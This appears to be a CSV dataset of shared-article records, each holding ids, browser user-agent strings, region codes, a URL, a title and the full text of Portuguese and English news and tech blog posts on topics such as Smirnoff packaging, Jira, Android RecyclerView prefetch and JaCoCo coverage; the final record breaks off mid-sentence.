1482314686,CONTENT SHARED,4644184613269860655,-8860671864164757449,-4868413371012096181,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://adnews.com.br/negocios/smirnoff-lanca-primeiro-destilado-em-embalagem-tetrapak-do-brasil.html,Smirnoff lança primeiro destilado em embalagem Tetrapak do Brasil,"Depois da batata frita com calda de Ovomaltine, lançada nesta semana pelo Burger King, agora foi a vez da marca de bebidas Smirnoff apresentar um produto inusitado: o primeiro destilado em embalagem Tetrapak do Brasil. O lançamento vem em três sabores diferentes: Triple Citrus, Strawberry Lime e Brazilian Berry. ""Smirnoff é uma marca jovem e inovadora e está trazendo essa novidade para o consumidor brasileiro, uma embalagem ambientalmente sustentável e mais prática de ser transportada e acondicionada. Esse tipo de embalagem já é utilizada para bebidas alcoólicas em outros países e combina totalmente com a proposta de Smirnoff X1, que é oferecer praticidade a ocasiões de consumo entre grupos de amigos, sem abrir mão da qualidade e do sabor"", afirma Isabela Abbês, gerente de marketing de Vodcas da Diageo. Com graduação alcóolica de 13%, Smirnoff X1 chega ao mercado com preço sugerido de R$19,90. Deixe seu comentário:",pt
1482318111,CONTENT SHARED,2050138727387005412,-2820994773540913369,6323639772890208236,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www1.valor.com.br/empresas/4814125/dasa-anuncia-compra-do-laboratorio-leme-da-bahia,"Dasa anuncia compra do laboratório Leme, da Bahia","SÃO PAULO - A companhia de medicina diagnóstica Diagnósticos da América (Dasa) anunciou nesta terça-feira a aquisição da totalidade do capital de Leme Laboratório de Endocrinologia e Metabologia da Bahia. O valor não foi divulgado. A administração da Dasa vai avaliar se a aquisição enquadra-se nas hipóteses previstas no artigo 256 da Lei das S.A., e, se for o caso, submeterá a transação à ratificação pelos acionistas em assembleia geral.",pt
1482323886,CONTENT SHARED,7039033478836344543,-1352064057049251194,4605445688779224189,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://computerworld.com.br/infracommerce-operadora-de-e-commerce-da-ambev-e-alpargatas-recebe-aporte-de-r-40-mi,"Infracommerce, operadora de e-commerce da Ambev e Alpargatas, recebe aporte de R$ 40 mi","A Infracommerce, empresa de gestão e operação de e-commerces, anunciou nesta terça-feira, 20, que recebeu uma nova rodada de investimento de R$ 40 milhões, liderada pelo fundo japonês Transcosmos e que contou também com a participação dos atuais investidores na empresa. A Infracommerce deve processar mais de R$ 500 milhões em vendas de seus clientes neste ano. Criada em 2012, a empresa faz a gestão e operação dos e-commerces de grandes indústrias globais como Unilever, Ambev, Johnson, Alpargatas, Ray-Ban, Oakley, JBL, entre mais de 30 outras. A Infracommerce também iniciou suas operações no México em agosto deste ano, outro país que está na mira da Transcosmos. Em 2017, abrirá operações na Colômbia, Argentina e Chile. A oferece uma plataforma omnichannel, logística, atendimento aos clientes, marketing digital e CRM, produção de fotos e conteúdo, pagamento e gestão da loja virtual. O novo aporte será totalmente direcionado para acelerar a internacionalização e investimentos em inovações para facilitar a venda omnichannel. ""Mais importante que o dinheiro são as trocas de experiências e oportunidades de rápida expansão internacional, uma vez que o grupo japonês está com presença em mais de 28 países"", explica o alemão Kai Schoppen, CEO da Infracommerce. O executivo diz que ainda não podia fornecer detalhes de como será e por onde começará a expansão, mas afirma que a ideia é acelerar em 2017. Em janeiro, Schoppen deve revelar os próximos passos uma vez que o plano esteja desenhado e aprovado pelo board da companhia. O fundo japonês, que faturou R$ 7 bilhões em 2015, chegou ao Brasil em novembro deste ano e percebeu a excelente performance da Infracommerce por meio de estudos de mercado. A Transcosmos, que surgiu em 1966 no Japão, investiu muito em diversos comércios eletrônicos na Ásia, Europa e Estados Unidos. Esse é seu primeiro negócio no Brasil, mas ela já investiu em diversas companhias de internet e comércio eletrônico nos últimos anos. A Infracommerce recebeu sócios investidores como Grupo RBS/Ebricks e o fundo Flybridge de Boston. O conselho de administração da empresa é composto por altos executivos como o ex-presidente da Oracle Brasil e Estadão, Silvio Genesini, e os maiores nomes do e-commerce brasileiro.",pt
1482325168,CONTENT SHARED,2438237966002226084,-7496361692498935601,5765904629798590815,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/jira-necessary-evil-barry-overeem,Jira - A Necessary Evil?,"Because there's no easy way in telling you this, I'll just share it straight away... Next week I'll be setting up a Jira environment for the product teams I'm coaching... Yes... Jira! The issue & project tracking system for software teams created by Atlassian. It's pretty easy to find negative quotes or memes about Jira. Below is the result of a few minutes searching the internet... ""Jira, where user stories die..."" ""Jira isn't just an information refrigerator, it's an information crisper: cold, out of sight, and only noticed when turned rotten."" ""Jira, the word that strikes fear into the soul of a developer."" Only a couple of months ago I proudly tweeted about a team I coached. They suggested to stop using Jira because they preferred their physical Scrum board and backlog over a digital tool. It was a joyful moment and I considered myself an awesome coach. However, next week, for a different program I will be setting up Jira again... But why??? Isn't the first value of the Agile Manifesto "" Individuals & Interactions over Processes & Tools ""? So why am I - an Agile Coach who takes his profession seriously - support using a tool such as Jira? (or any other tool that tracks things no one looks at). Well... the honest answer is... I don't have any alternatives... Life Was Great! My previous team that stopped using Jira was located on the same location. We've had our own team space. The Product Backlog and roadmap were visualized on a wall where everyone could see it. A physical whiteboard was used to track our Scrum Sprints. Every morning we huddled together for our Daily Scrum. During the day the tasks - written down on post-it's - would flow across the Scrum board. Transparency was all over the place, it was one big ""inspect & adapt party"" . Life was great! A Common Misunderstanding So why use Jira? Well... the program I'm currently coaching consists of multiple teams working across different locations (in different countries)...A physical Product Backlog therefore isn't a viable alternative. The Product Backlog needs to be shared in a location that everyone can continuously access. That location will be Jira... Let's go back to the Agile Manifesto. Yes, the first value is ""Individuals & Interactions over Processes & Tools"". A common misunderstanding is the manifesto states that processes and tooling are evil. They are not. Processes and tooling are fine, but they should enable teamwork, collaboration and offer transparency. Processes and tools should encourage interaction between individuals. A physical Scrum board is a great tool that supports these elements. It visualizes the product- and sprint backlog, offers transparency about the progress and invites everyone to share possible impediments, improvements and success! Pitfalls of Using Jira Some pitfalls of using a digital Scrum board with the Product- and Sprint Backlog are: The Product Backlog becomes way too large to manage; Communication is done via the tool instead of face2face; The Jira workflow dictates the teams way of working; The Sprint Backlog is updated in such a way nobody notices any progress; Energy drops, the euphoric moment of a ""done"" item isn't celebrated anymore. Overall, transparency decreases and the inspection and adaptation that ignites improvement becomes more difficult. Transparency, inspection and adaptation form the core of Scrum. You don't want a process or tool that blocks the heart of Scrum. It's asking for problems! A Necessary Evil? But, as mentioned before, sometimes a digital tool might be necessary when working with distributed teams. Therefore I am going to support the configuration of Jira next week. To end this blog post a bit positive: at least I'm aware of the pitfalls... And I do have some ideas on how to make the best out of this situation. For example, using a large touch screen to visualize the backlog. Whenever the status of an item changes, encourage the team to update the status via the touch screen. It's almost like using a physical Scrum board. Let's just find a way of working that copes with the mentioned pitfalls in the best possible manner . Closing Do you recognize my struggle? Ideas on how to deal with them are more than welcome! Just sharing your experiences is also highly appreciated!",en
1482403973,CONTENT SHARED,-8933526098329881084,-1836083230511905974,493658217984379371,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,https://medium.com/google-developers/recyclerview-prefetch-c2f269075710,RecyclerView Prefetch - Google Developers,"Smoother Flings and Scrolls by Doing Stuff Sooner When I was a kid, my mother would attempt to cure my persistent procrastination by telling me that if I cleaned my room now, I wouldn't have to do it later. But I never fell for it. I knew that it was always best to let it ride as long as possible. For one thing, if I cleaned it now, it'd just get dirty again, and then I'd have to perform that odious chore twice. Also, if I let it go long enough, she might just forget about it. Procrastination has always worked for me. But I never had to deal with the issue of consistent frame-rate, unlike my friend RecyclerView. The Problem During a scroll or fling operation, RecyclerView will need to display new items as they arrive on screen. These new items need to be bound to the data (and possibly created, if there are no items like it in the cache). Then they need to be laid out and drawn. When all of this is done lazily, just before it is needed, the UI thread can grind to a halt while the work completes. Then rendering can proceed and the scroll (or fling, but I'll just refer to either as ""scroll"" from here on to simplify things) can get back to moving along smoothly... until the next new item comes into view. During most frames of a scroll, the RecyclerView has no problem doing what it needs to do, because there is no new content to deal with. During these frames, the UI thread processes input, handles animations, performs layout, and records drawing commands. It then syncs the drawing information over to the RenderThread (as of the Lollipop release; prior releases do all of this work on the UI thread), which sends those commands over to the GPU. When a new item comes on screen, more work is required in the input stage to bind, and possibly create, the appropriate views. This pushes the rest of the UI thread work later, as well as the ensuing work of the RenderThread, and can cause jank if it cannot all happen within the frame boundary. Examining the call stack during the input phase when these new items come in shows us that a large portion of the time is spent creating and binding the views. Wouldn't it be nice if we could do that work elsewhere instead of delaying everything while we get those new items ready? This is the observation that Chris Craik (a graphics engineer on the Android UI Toolkit team) made when he was looking at Systraces of RecyclerView scrolls. Specifically, he saw that we're spending a lot of time getting the items ready right when they're needed. But meanwhile, just a frame before that, the UI thread was spending a lot of the time in that frame sleeping, because it finished its tasks early. The Solution Obviously, it was time to play around with time. Specifically, Chris rearranged the way things happen in the default RecyclerView layouts such that it now pre-fetches items that are about to come into view, so that we do this work during an idle phase, and avoid doing it later when everyone's waiting for those results. Now the work can happen essentially for free. Because the UI Thread was not doing any work in that gap between frames, we're able to use that idle time to get work done that we will need later, and make that future frame that much faster because the hard part is already done. Details, Details The system works by scheduling a Runnable whenever RecyclerView starts a scrolling operation. This Runnable performs the prefetch of items that should come into view soon, depending on the layout manager and the direction that the views are being scrolled. Prefetching is not limited to a single item, either; it can fetch multiple items at once, such as when a row of GridLayoutManager items is coming on screen. In v25.1, prefetch operations are broken up into individual create/bind operations, which fit more easily into the UI thread gaps than operations on whole groups of items. One of the interesting things about the prefetch approach is that the system has to predict how much time operations will take, and whether they can fit within the available gap. After all, if prefetch work delayed that frame past its deadline, we may still have jank from a skipped frame, just in a different place than we would without the prefetch. The way that the system handles this detail is by tracking the average create/bind durations per view type, enabling reasonable prediction of future create/bind operations. Performing this work for nested RecyclerViews (containers whose items are, themselves, RecyclerViews) is trickier, since binding the inner RecyclerView doesn't allocate any children - RecyclerView fetches children on demand when it's attached and laid out. The prefetching system can still prepare children within that inner RecyclerView, but it has to know how many. This is the reason for the new API in v25.1 of LinearLayoutManager, setInitialItemPrefetchCount() , which tells the system how many items to prefetch to fill the RecyclerView when it's about to scroll on screen. Caveats There are a some important caveats here to be aware of: Pre-fetching may do work that ends up not being needed. Because we are pre-fetching a view, it is possible that we are doing this too aggressively, and that the RecyclerView will not get to the item in question. This means that our pre-fetching work may be wasted (although since it happened in parallel, this should not be a big deal. Besides, this should be pretty uncommon because we are fetching very soon before it is needed, and it's unlikely that the scroll will stop or reverse between those two frames). RenderThread: The RenderThread was a performance feature introduced in Lollipop, to offload rendering onto a different thread and allow for some improvements such as running some immutable animations (for example, ripples and circular reveals) completely on the RenderThread, without being affected by UI Thread stalls. This means that devices running on releases earlier than Lollipop will not benefit from this optimization, because we cannot parallelize this work. I Want Some - Where Can I Get It? The pre-fetch optimizations were introduced in Support Library v25 , with further enhancements in v25.1.0 . So the first step is to get the latest version of the Support Library. If you use the default layout managers provided with RecyclerView, you will automatically get this optimization. However, if you are using nested RecyclerViews, or you wrote your own layout manager, you will need to change your code in order to take advantage of this feature. For nested RecyclerViews, call LinearLayoutManager's new setInitialItemPrefetchCount() method (available in v25.1) on the inner LayoutManagers to get the best performance. For example, if rows in your vertical list show over three items at a minimum, call setInitialItemPrefetchCount(4). If you've implemented your own LayoutManager, you will need to override LayoutManager.collectAdjacentPrefetchPositions() , which is called by RecyclerView when prefetch is enabled (the default implementation in LayoutManager does nothing). Secondly, if you want prefetching to occur from your LayoutManager when its RecyclerView is nested in another, you should also implement LayoutManager.collectInitialPrefetchPositions() . As always, it is worth optimizing both your create and bind steps, doing as little work as possible. The fastest code is that which doesn't have to run; even when the framework can parallelize work done through prefetching, it still takes time, and expensive item creation can still cause jank. For example, a minimal view tree will always be cheaper to create and bind than a more complex one. And binding should essentially be as simple and fast as calling setters. Even if you are able to skate by under the frame time limit with your current code, optimizing it further means you will be more likely to run well on users' lower-end devices, and saving performance even on higher-end devices always has battery benefits for these common situations. If you've already gotten the creation and bind as fast as they can be, then prefetching should help you hide the remaining time in the gap between frames. If you want to see the optimization in action, either in one of the default LayoutManagers or in a custom LayoutManager of yours, you can toggle LayoutManager.setItemPrefetchEnabled() and compare the results. You should be able to see the results visually; it really is that significant, especially with items that take a significant amount of time to create and bind. But if you want to see what's going on under the hood, run a Systrace , or enable GPU profiling , with and without prefetch enabled. GOTO End Check out the latest Support Library and play with the new prefetching RecyclerView. Meanwhile, I'll get back to not cleaning my room.",en
1482404328,CONTENT SHARED,9026402401132606773,-1836083230511905974,493658217984379371,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,https://medium.com/google-developers/building-interfaces-with-constraintlayout-3958fa38a9f7,Building interfaces with ConstraintLayout - Google Developers,"If you're just starting your adventure with ConstraintLayout, the new layout that's available in a support library and is closely integrated with the visual UI editor in Android Studio 2.2, I recommend that you watch the introductory video above or work through our codelab first. Both the video and codelab introduce you to the basic concepts of handles, constraints and the UI controls in the layout editor, which will help you build interfaces quickly and in a visual way. In this article I'd like to highlight recent additions to ConstraintLayout in Android Studio 2.3 (Beta): chains and ratios, as well as give some general ConstraintLayout tips and tricks. Chains Creating chains is a new feature that lets you position views along a single axis (horizontal or vertical), that conceptually is a bit similar to a LinearLayout. As implemented by ConstraintLayout, a chain is a series of views which are linked via bi-directional connections. To create a chain in the layout editor, select the views you wish to chain together, right click on one of the views and click on ""Center views horizontally"" (or ""Center views vertically""). This creates the necessary connections for you. Moreover, a new button appears when you select any of the chain elements. It lets you toggle between three chain modes: Spread, Spread Inside, and Packed Chain. There are two additional techniques you can use when dealing with chains: If you have a Spread or Spread Inside chain and any views in the chain have their size set to MATCH_CONSTRAINT (or ""0dp""), the remaining space in the chain will be distributed among them according to weights defined in layout_constraintHorizontal_weight or layout_constraintVertical_weight. If you have a Packed chain, you can adjust the horizontal (or vertical) bias to move all elements of the chain left and right (or up and down). Ratios Ratios let you accomplish roughly the same thing as a PercentFrameLayout , i.e. restrict a View to a set width to height ratio, without the overhead of the additional ViewGroup in your hierarchy. To set a ratio for any view inside a ConstraintLayout: Make sure at least one of the size constraints is dynamic, i.e. not ""Fixed"" and not ""Wrap Content"". Click the ""Toggle aspect ratio constraint"" that appears in the top left corner of the box. Input the desired aspect ratio in width:height format, for example: 16:9 Guidelines Guidelines are virtual views that help you position other views in the layout. They aren't visible during runtime, but can be used to attach constraints to. To create a vertical or horizontal guideline, select it from the dropdown. Click on the newly added guideline to select and drag to move it to the desired position. Click on the indicator at the top (or left) to toggle between guideline positioning modes: fixed distance from left/right (or top/bottom) in dp, and percentage of parent view width/height. Dealing with View.GONE When dealing with View.GONE visibility of Views in ConstraintLayout, you have more control compared to RelativeLayout. First of all, any View that is set to GONE shrinks to zero size in both dimensions, but still participates in calculating constraints. Any margins set on the constraints on this View are also set to zero. In many cases, a set of views connected by constraints such as in the example above will just work when setting a view to GONE. There is also a way to specify a different margin for a constraint in case a view to which the constraint is attached gets removed via GONE. Use one of the layout_goneMargin Start (... Top , ... End , and ... Bottom ) attributes to do that. This enables handling more complex situations such as the one demonstrated above without code changes to handle the GONE state of certain Views. Different kinds of centering When I discussed the chains feature of ConstraintLayout, I mentioned one type of centering already. When you select a group of views and click on ""Center horizontally"" (or ""center vertically""), you create a chain. You can also use the same option when selecting just one view to center it between the closest views that it can attach its constraints to: To ignore any other views and just center in the parent, choose the ""Center horizontally/vertically in parent"" option. Note that normally you will use this with a single view, as this does not create a chain. Sometimes you might want to align two views of different sizes together according to their centers. When a view has two constraints that are pulling at it from two different sides, the view will stay centered between those two constraints (as long as the bias is set to 50%). We can use the same approach to align the center of one view with one side of another, by connecting both constraints to the same handle: Using Spaces for negative margins A view in a ConstraintLayout cannot have negative margins (it's not supported). However, with an easy trick you can have similar functionality by inserting a Space (which is essentially an empty View) and setting its size to the margin you want. Here's how it looks in practice: When to use Inference When you invoke the ""Infer constraints"" command in the toolbar, the layout editor tries to figure out any missing constraints on the views in your ConstraintLayout and adds them automagically. It can work on a layout with no constraints whatsoever, but since it's a difficult problem to create a whole layout correctly, you might get mixed results. That's why I propose two approaches to using constraint inference: The first approach is to create as many constraints by hand, so that your layout mostly works and is functional. Then, click infer for the few views that are still missing constraints. This can save you a little bit of work. The other one is to start with positioning your views on the layout editor canvas without creating constraints, use infer and then change the preview device resolution. See which views resized and changed position incorrectly, fix those constraints then repeat with another resolution. It all boils down to your preference really, as everyone will have different styles of creating constraints in their layouts, including crafting all of them manually. Match parent is not supported Use match_constraint (0 dp) instead and attach constraints to the sides of the parent view if you wish. This provides similar functionality with correct handling of margins. ""Match parent"" should not be used inside ConstraintLayout at all.",en
1482409156,CONTENT SHARED,-1415040208471067980,-534549863526737439,8829317420925996707,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,https://cloudplatform.googleblog.com/2016/12/Google-Cloud-Platform-icons-and-sample-architectural-diagrams-for-your-designing-pleasure.html,"Google Cloud Platform icons and sample architectural diagrams, for your designing pleasure","Technology makes more sense when you map it out. That's why we now have icons and sample architectural diagrams for Google Cloud Platform (GCP) available to download. Using these icons, developers, architects and partners can represent complex cloud designs in white papers, datasheets, presentations and other technical content. The icons are available in a wide variety of formats, and can be mixed and matched with icons from other cloud and infrastructure providers, to accurately represent hybrid- and multi-cloud configurations. There are icons representing GCP products, diagram elements, services, etc. View them below and at cloud.google.com/icons . We'll update these files as we launch more products, so please check back. To give you a flavor, below is one of more than 50 sample diagrams in Slides and Powerpoint. No need to start each diagram from scratch! Happy diagramming!",en
1482412153,CONTENT SHARED,6214107032842332406,-6946355789336786528,8827272916384771254,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://medium.com/@matheusmarzochi/a-arte-de-fazer-o-dobro-do-trabalho-na-metade-do-tempo-sem-scrum-9f89466b0194,A Arte de Fazer o Dobro do Trabalho na Metade do Tempo sem Scrum,"""Não tente achar o que é o certo, mude o que está patentemente errado. Não mude o que não será fácil voltar atrás depois."" A primeira metade da frase é uma referência a Nassim Nicholas Taleb em seu livro Antifragile . A segunda parte faz analogia a Russel Kirk a respeito de seu posicionamento político conservador. E o que isso tem a ver com TI? Ou melhor, o que isso tem a ver com um grupo de pessoas tentando entregar valor de forma continua? A Teoria das Restrições ( ToC - Theory of Constraints ) nos ensina que devemos atuar sempre no gargalo determinante ""Não tente achar o que é o certo, mude o que está patentemente errado"" , e quando estudamos Kanban aprendemos sobre o paradigma entre as duas formas de mudança: Evolução vs Revolução. A imagem acima mostra uma J curve of change , representando a capacidade em uma linha do tempo (quando digo capacidade estou me referindo a tudo, colaboração, conhecimento técnico e infraestrutura de uma organização). Podemos observar que perdemos maior capacidade quando a mudança é grande ( kaikaku ), porém com mudanças pequenas e progressivas conseguimos avançar com menos riscos. Inicialmente tentei utilizar a abordagem revolucionária, começamos a discutir sprints com timebox fechado, reuniões diárias, equipes auto-reguladas, definição de um líder para o time e até uma reunião para o review do produto, porém a resistência emocional foi imensamente grande, chegamos em um ponto que se você falasse sprint em voz alta poderia arranjar problemas com seus superiores. O maior problema em tentar alavancar uma mudança baseada em ideologia é que normalmente você vai precisar dizer para as pessoas que o que elas pensam a respeito do trabalho é incorreto, isso envolve ego, vaidade, zona de conforto e se não houver um apoio top-down para que as mudanças aconteçam, sua vida vai se complicar. Minha segunda abordagem foi evolucionária: optei por começar com o que já tínhamos em mãos. Em meio a toda essa resistência emocional que regia o ambiente, obtive a oportunidade de dar visibilidade ao processo da empresa ao representar graficamente todas as etapas e filas em uma ferramenta kanban colaborativa, esse foi o primeiro passo que contribuiu para engajar todos na mudança. Depois de viver essa experiencia no ambiente de trabalho passei a concordar com nosso colega David Anderson quando ele afirma: Pessoas não resistem a mudanças, pessoas resistem a serem mudadas. E realmente é igual a porta de banheiro, só abre por dentro... Ta, mas cadê os números? A primeira mudança evolutiva no kanban , após dar transparência ao fluxo, foi basicamente limitar a quantidade de trabalho em andamento ( WiP  -  Work in Progress ) em todo o quadro kanban, e isso causou um tremendo aumento na vazão (TH -  Throughput ) do sistema: Alguns já conhecem, mas para quem nunca viu esse é o CFD ( Cumulative Flow Diagram ), é um gráfico bastante simples e que mostra a quantidade de trabalho acumulado, ilustrando a saúde do fluxo do processo. No entanto, o CFD mapeia o sistema como um todo, sem fazer a separação da sua capacidade interna. No eixo X temos o tempo, e no eixo Y temos o número de itens de trabalho, que podem ser: novas demandas, melhorias e bugs. Neste gráfico a camada azul demonstra o escopo (ou backlog ) do projeto. As camadas verde, laranja, roxo e vermelho demonstram o trabalho em progresso (ou WiP ). A camada amarela demonstra a vazão ( Throughput ) dentro da definição de ""Finalizado"" do time. A seguir vou explicar com maiores detalhes as métricas utilizadas: Traçando uma linha horizontal entre o estado de ""A Fazer"" ( Commitment point ) até o estado de ""Finalizado"" é possível extrair o tempo médio aproximado que os itens levam para serem processados e entregues. Throughput: É a taxa de saída, também chamada de Vazão. Não confunda o termo ""Velocidade"" com ""Vazão"", apesar dos dois serem bastante correlatos, a velocidade é medida em pontos de história por unidade de tempo, enquanto vazão é o número de itens por unidade de tempo. Durante esse processo de mudança coletou-se amostras antes de limitar o WiP no início de agosto e após limitá-lo até outubro: Amostra 1: É composta por dados do período de 01/06/2016 até 31/07/2016, nesse período o WiP ainda não era limitado, a única mudança evolutiva feita no kanban durante esse período foi a reorganização das filas para uma visão mais completa das suas etapas, dando mais transparência e a possibilidade de identificar gargalos e otimizar nosso fluxo. Amostra 2: É composta por dados entre 01/08/16 até 30/09/16. Essa segunda amostra iniciou-se em agosto onde o WiP foi limitado. Notamos que após limitar o WiP estabelecemos uma melhor cadência contínua de entrega nos cards, passamos á entregar mais e com maior frequência ( e ainda diminuímos a demanda de falha, mas isso fica para outro post ), isso se confirmou quando realizei uma regressão linear com os dados de vazão. Com o gráfico de regressão linear, é possível traçar uma linha de tendência, na qual possui uma equação parecida com. Onde ( a ) é o ponto onde a equação cruza o eixo y , e ( b ) é o fator multiplicador que nos dá a inclinação da reta: Após analisar as duas amostras e realizar a regressão linear de ambas concluímos que anteriormente entregávamos algo em torno de 3.15, após limitar o WiP no início de agosto a vazão dobrou subindo para algo em torno de 6.67, ou seja, obtivemos uma produtividade 2x maior e um tempo de resposta para novas demandas 3x menor, tudo isso sem nenhum custo adicional e com resultados em menos de 2 meses. Magia negra isso? Segundo a Lei de Little ( Little's Law ) o Lead Time = WiP / Throughput, ou seja, restringindo o WiP obtemos um lead time menor. Porém isso aparenta ser apenas uma fenomenologia para esse evento, a Lei de Littleéalgo que foi provado por negação até hoje, mas não há duvidas de que limitar nosso WiP reduziu o lead time. Acredito que inúmeros fatores contribuíram para essa diminuição, e o principal foi o aumento de colaboração no trabalho, em um sistema com capacidade limitada a colaboração é fomentada pois todos trabalham para evitar o estouro desse limite. Entendam meu objetivo aqui. Consegui melhorar meu ambiente sem maiores problemas utilizando uma abordagem evolucionária, não estou dizendo que a abordagem ideológica (revolucionária) não funcione. Inúmeras empresas seguiram esse caminho e conseguiram atingir seus objetivos, mas é mais dificultoso a revolução funcionar. É tudo uma questão de risco e expectativa. Concluo esse post com uma questão filosófica. Na sua opinião qual seria o ponto de alavancagem mais eficiente para mudanças, pessoas ou processos? E qual seria a abordagem mais ética? Links muito úteis que me ajudaram nos estudos:",pt
1482431353,CONTENT SHARED,1954991916791271993,-2979537012405607453,5442431804169949331,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,https://www.mindtools.com/blog/2016/10/06/goal-motivation/,"Goal Setting: Don't Lose Motivation! "" Mind Tools Blog","When we set ourselves a goal, we usually do so in a flush of enthusiasm and optimism. It can be a New Year's resolution to get that beach body for the summer holidays, or a determination to finally achieve that long-held career ambition. But, a few months later, we're guiltily brushing cookie crumbs from our still too-tight pants, or still in the same workplace rut that we vowed to escape from years ago. How did that motivation and self-discipline evaporate so quickly? When you set yourself goals, you need a robust plan of action and a realistic timetable to give you the best chance of achieving them. A popular and powerful framework to help you to do this is to set SMART Goals . In a nutshell, your goals need to be S pecific, M easurable, A chievable, R elevant, and T ime bound, and you need to know what common goal setting mistakes to avoid. If your dreams are particularly ambitious, you probably know that making them come true will likely be a long-haul journey. So, how do you stay the course when times get tough and those goals look as distant as ever? We threw that question out to you, our friends and followers on social media. We asked, ""How do you stay motivated when pursuing long-term goals?"" The majority of your replies fit that old management scenario, ""How do you eat an elephant? Answer: one bite at a time."" Here is a selection of your top tips: Adaobi Olasunmade , an HR specialist from Abuja, Nigeria, advocated breaking down a major goal into smaller, shorter-term targets. She said, ""Create short term goals leading to the long term one. When climbing a ladder, getting to the top of it is our long term goal, but we need to take several steps that will lead us to the top."" Adaobi's advice was echoed by fellow Facebook friend Mike Roberts , from Ontario, Canada. He said, ""I'll have micro goals that I can achieve almost instantly, like cleaning the bathroom as part of decluttering my house, or doing an extra few reps at the gym as part of my goal of coming in first at a dragon boat festival in a month."" Rachel Cox , a managing director from the north of Scotland, suggested another popular method of staying motivated: rewarding yourself for passing each milestone. She said, ""I create a long term plan with short term milestones or steps. I believe that times of reflection are really important in this and celebrate each step and small achievements when I am working towards a long term goal."" Gloria Eloji , another HR consultant from Nigeria, responded on LinkedIn. She said, ""Always see the picture of the future represented as your long term goals, that will motivate you to follow through your goals with necessary actions. Secondly, pluck the low hanging fruits and celebrate the little successes."" As always when we ask you for your thoughts and comments on a subject, Twitter users respond with plenty of excellent bite-sized #mindtoolstips . Here are few of them: @HeathAnneF : ""It's so hard! I guess understanding why you want to achieve the goal? The 'Why' is an important part!"" @Dwyka_Consult : ""By focusing on what I need to do TODAY to reach that big, hairy, audacious goal."" @ChloeWooles : ""Break them down into smaller goals and celebrate successes along the way."" @JoeDonRoss : ""Look at them every single day and take one step (even a small one) towards them."" ‏@Globallioness : ""I write them down and post them where I can see them."" ‏@OrganicLeaderVB : ""I stay motivated with mini-celebrations of short term victories that pave the way to long-term goal."" @carenfeldman : ""Ways to persist on a long-term goal: find meaning, stay optimistic, make it a habit, and find purpose."" Thank you to everyone who responded. And if you'd like to share your opinion, or respond to any of the suggestions you've read, you can do so, below.",en
1482752703,CONTENT SHARED,362899217568283146,-7410485589492665094,-4545011270306053679,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,https://www.petrikainulainen.net/programming/maven/creating-code-coverage-reports-for-unit-and-integration-tests-with-the-jacoco-maven-plugin/,Creating Code Coverage Reports for Unit and Integration Tests With the JaCoCo Maven Plugin,"When I started using Java 7, I noticed right away that the Cobertura Maven plugin doesn't support it . This was a huge problem to me because I used code coverage reports every day. I did some research and found the JaCoCo code coverage library . It looked interesting and I decided to give it a shot. The problem was that configuring it was really hard and took a lot of time. I read numerous tutorials just to find out that the instructions given in them did not work for me. Then I ran into this blog post and everything fall into place. Although that blog post was extremely valuable to me, it is a bit vague. I felt that a more detailed explanation about the usage of the JaCoCo Maven plugin would be valuable. This blog post describes how we can create code coverage reports for unit and integration tests by using the JaCoCo Maven plugin. The requirements of our build are following: Our build must create code coverage reports for both unit and integration tests when the tests are run. The code coverage reports must be created in separate directories. In other words, the code coverage report for unit tests must be created into a different directory than the code coverage report for integration tests. Let's get started. Note : The example application of this blog post is based on the example application of my blog post called Integration Testing with Maven . If you have not read it yet, I recommend that you read it before reading this blog post. Configuring The JaCoCo Maven Plugin We use the JaCoCo Maven plugin for two purposes: It provides us an access to the JaCoCo runtime agent which records execution coverage data. It creates code coverage reports from the execution data recorded by the JaCoCo runtime agent. We can configure the JaCoCo Maven plugin by following these steps: Add the JaCoCo Maven plugin to the plugins section of our POM file. Configure the code coverage report for unit tests. Configure the code coverage report for integration tests. These steps are described with more details in the following. Adding The JaCoCo Maven Plugin to The POM File We can add the JaCoCo Maven plugin to our POM file by adding the following plugin declaration to its plugins section: If you use Java 7 (or older), and the 0.7.x version is not working properly, downgrade to version 0.6.5.201403032054. Let's move on and find out how we can configure the code coverage report for our unit tests. Configuring The Code Coverage Report for Unit Tests We can configure the code coverage report for unit tests by adding two executions to the plugin declaration. These executions are described in the following: The first execution creates a property which points to the JaCoCo runtime agent . Ensure that the execution data is written to the file target/coverage-reports/jacoco-ut.exec . Set the name of the property to surefireArgLine . The value of this property is passed as a VM argument when our unit tests are run. The second execution creates the code coverage report for unit tests after unit tests have been run. Ensure that the execution data is read from the file target/coverage-reports/jacoco-ut.exec and that the code coverage report is written to the directory target/site/jacoco-ut . The relevant part of our plugin configuration looks as follows: Let's find out how we can configure the code coverage report for our integration tests. Configuring The Code Coverage Report for Integration Tests We can configure the code coverage report for integration tests by adding two executions to the plugin declaration. These executions are described in the following: This first execution creates a property which points to the JaCoCo runtime agent . Ensure that the execution data is written to the file target/coverage-reports/jacoco-it.exec . Set the name of 